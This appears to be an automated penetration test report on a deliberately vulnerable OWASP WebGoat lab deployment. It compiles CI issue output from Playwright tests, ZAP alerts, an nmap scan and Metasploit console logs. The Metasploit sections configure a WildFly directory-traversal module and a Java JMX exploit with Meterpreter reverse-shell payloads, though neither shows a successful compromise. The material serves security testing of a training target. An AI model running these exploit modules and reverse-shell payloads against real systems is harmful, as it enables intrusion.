

ASTICI



Confidential

Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

11/12/2023

Executive Summary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recommendations

The following pages show Github issues one by one, which would highlight all vulnerabilities in current application.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 795

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: tornasync-0.6.0.post2, asyncio-0.23.2, trio-0.8.0, anyio-4.1.0, base-url-2.0.0,
playwright-0.4.3

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 27.21s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 794

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.93.145:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://20.204.93.145:8080/WebGoat/login>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/WebGoat/login>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/WebGoat/login>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/WebGoat/login>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/WebGoat/login>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/robots.txt>
 - <http://20.204.93.145:8080/sitemap.xml>
 - <http://20.204.93.145:8080/WebGoat/login>

- **User Agent Fuzzer** [10104] total: 12:
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - <http://20.204.93.145:8080/WebGoat/start.mvc>
 - ..

View the [following link](#) to download the report. RunnerID:7164093277

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 793

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 2s (8536 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.204.93.145

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

```
[*] Msf::OptionValidateError The following options failed to validate: RHOSTS
resource (./src/exploit/wildflydir_traversal.rc)> exit
```

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```
[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
resource (./src/exploit/javajmxreversehttps.rc)> show options
```

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

RHOSTS =>

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

[*] Payload Handler Started as Job

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 792

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 20.204.93.145

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

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Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 2s (10.2 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

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Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

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libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
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Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-11 07:21 UTC

Nmap scan report for 20.204.93.145

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 40:d6:7a:87:ca:87:52:31:e3:1e:b1:99:c9:2a:76:00 (ECDSA)

|_ 256 ef:a2:31:72:57:04:28:85:3a:24:76:de:93:9a:35:8b (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 11 Dec 2023 07:25:00 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 11 Dec 2023 07:24:59 GMT

|_http-title: Site doesn't have a title.

9090/tcp open zeus-admin?

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 11 Dec 2023 07:25:40 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 11 Dec 2023 07:24:59 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Mon, 11 Dec 2023 07:25:16 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=12/11%Time=6576B94B%P=x86_64-pc-linux-gnu%(G

SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n

SF:r Content-Length: 0 Date: Mon, 11 Dec 2023 07:24:

SF:59 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found\n

SF:r Connection: close Content-Length: 0 Date: Mon, 11\n
SF:x20Dec 2023 07:24:59 GMT
")%r(RTSPRequest,42,"HTTP/1.1
SF: 400 Bad Request Content-Length: 0 Connection: clo
SF:se
")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found
SF: Connection: close Content-Length: 0 Date: Mon, 11\x
SF:20Dec 2023 07:25:00 GMT
")%r(Socks5,42,"HTTP/1.1 40
SF:0 Bad Request Content-Length: 0 Connection: close
SF: ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content
SF:-Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:0400 Bad Request Content-Length: 0 Connection: close\n
SF:r
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Con
SF:tent-Length: 0 Connection: close
")%r(TerminalServerCoo
SF:kie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 C
SF:onnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 B
SF:ad Request Content-Length: 0 Connection: close
")
SF:%r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:\x
SF:200 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1\n
SF:.1 400 Bad Request Content-Length: 0 Connection: c
SF:lose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
")%r(WMSRequest,42,"
SF:HTTP/1.1 400 Bad Request Content-Length: 0 Connectio
SF:n: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
");

=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=12/11%Time=6576B94B%P=x86_64-pc-linux-
gnu%r(G
SF:etRequest,65,"HTTP/1.1 404 Not Found Connection: close\n
SF:r Content-Length: 0 Date: Mon, 11 Dec 2023 07:24:
SF:59 GMT
")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request
SF: Content-Length: 0 Connection: close
")%r(ibm-db2-da
SF:s,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Con
SF:nnection: close
")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400
SF:0Bad Request Content-Length: 0 Connection: close
SF:")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Len
SF:gth: 0 Connection: close
")%r(HTTPOptions,65,"HTTP/1.1
SF: 404 Not Found Connection: close Content-Length: 0
SF: Date: Mon, 11 Dec 2023 07:25:16 GMT
")%r(R
SF:TSPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(Help,42,"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
")%r

SF:(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length
SF:: 0 Connection: close
")%r(TerminalServerCookie,42,"HTT
SF:P/1.1 400 Bad Request Content-Length: 0 Connection:\n
SF:x20close
")%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reque
SF:st Content-Length: 0 Connection: close
")%r(Kerberos
SF:,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn
SF:ection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400 Bad
SF:Request Content-Length: 0 Connection: close
")%r(Fou
SF:rOhFourRequest,65,"HTTP/1.1 404 Not Found Connection: c
SF:lose Content-Length: 0 Date: Mon, 11 Dec 2023 0
SF:7:25:40 GMT
")%r(LPDString,42,"HTTP/1.1 400 Bad Req
SF:uest Content-Length: 0 Connection: close
")%r(LDAPSe
SF:archReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n
SF:r Connection: close
")%r(SIPOptions,42,"HTTP/1.1 400
SF:Bad Request Content-Length: 0 Connection: close
"
SF:);
Device type: general purpose|storage-misc|firewall
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X
(86%), WatchGuard Firewall 11.X (86%), FreeBSD 6.X (85%)
OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/
o:linux:linuxkernel:3.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1
cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 3.4 (86%), Linux 3.5
(86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%),
WatchGuard Fireware 11.8 (86%), Linux 2.6.39 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 5 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.03 ms 172.17.0.1

2 ... 4

5 5713.04 ms 20.204.93.145

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 323.50 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-11 07:27 UTC

Nmap scan report for 20.204.93.145

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-11 07:27 UTC

Nmap scan report for 20.204.93.145

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 791

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 790

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 789

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.23.2, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py .F. [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== FAILURES  
=====
```

_____ **testwebgoatsqlitest** _____

@pytest.mark.asyncio

async def testwebgoatsqli_test():

''' check and validate if home page can be accessed with JSESSIONID'''

async with async_playwright() as p:

browser = await p.chromium.launch()

page = await browser.new_page()

page.setdefault_timeout(600000)

await asyncutil.webgoat_loginproc(page)

await runSqlIOnJQuery(page)

src/test_AsyncWebGoatUseCases.py:62:

```

src/test_AsyncWebGoatUseCases.py:51: in runSqlIOnjQuery
await page.getbytext("You have succeeded: USERID, FIRSTNAME, LASTNAME,
CCNUMBER, CCTYPE, COOKIE, L").click()

../../../../local/lib/python3.10/site-packages/playwright/asyncapi/generated.py:15706: in
click

await self.implobj.click(

../../../../local/lib/python3.10/site-packages/playwright/impl/locator.py:159: in click
return await self.frame.click(self.selector, strict=True, **params)

../../../../local/lib/python3.10/site-packages/playwright/impl/frame.py:484: in click
await self.channel.send("click", localsto_params(locals()))

../../../../local/lib/python3.10/site-packages/playwright/impl/connection.py:62: in send
return await self.connection.wrapapi_call(

../../../../local/lib/python3.10/site-packages/playwright/impl/connection.py:492: in
wrapapicall

return await cb()

```

```

self = impl.connection.Channel object at 0x7fcdeeacfac0>
method = 'click'

params = {'selector': 'internal:text="You have succeeded: USERID, FIRSTNAME,
LASTNAME, CCNUMBER, CCTYPE, COOKIE, L"', 'strict': True}

returnasdict = False

async def inner_send(
self, method: str, params: Optional[Dict], returnasdict: bool
) -> Any:
if params is None:
params = {}
callback = self.connection.sendmessageto_server(
self._object, method, params
)
if self.connection.error:
error = self.connection.error
self.connection.error = None
raise error
done, _ = await asyncio.wait(

```

```

{
self.connection.transport.onerrorfuture,
callback.future,
},
returnwhen=asyncio.FIRSTCOMPLETED,
)
if not callback.future.done():
callback.future.cancel()
    result = next(iter(done)).result()
E playwright.impl.errors.TimeoutError: Timeout 600000ms exceeded.
../../../../local/lib/python3.10/site-packages/playwright/impl/connection.py:100:
TimeoutError
===== PASSES
=====

===== 1 failed, 4 passed in 627.15s (0:10:27)
=====

Stop pytests....

```


Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 788

GitHub Issue URL : [Here!](#)

- Site: <http://4.224.35.6:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.224.35.6:8080/WebGoat/login>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://4.224.35.6:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/WebGoat/login>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/WebGoat/login>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/WebGoat/login>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/WebGoat/login>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.224.35.6:8080/>
 - <http://4.224.35.6:8080/robots.txt>
 - <http://4.224.35.6:8080/sitemap.xml>
 - <http://4.224.35.6:8080/WebGoat/login>

- **User Agent Fuzzer** [10104] total: 12:
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - <http://4.224.35.6:8080/WebGoat/start.mvc>
 - ..

View the [following link](#) to download the report. RunnerID:7124934061

- Site: <http://20.204.93.145:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/robots.txt>
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/robots.txt>
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/robots.txt>
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/robots.txt>
 - <http://20.204.93.145:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.93.145:8080/>
 - <http://20.204.93.145:8080/robots.txt>
 - <http://20.204.93.145:8080/sitemap.xml>
 - <http://20.204.93.145:8080/WebGoat/login>

View the [following link](#) to download the report. RunnerID:7164093277

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 787

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

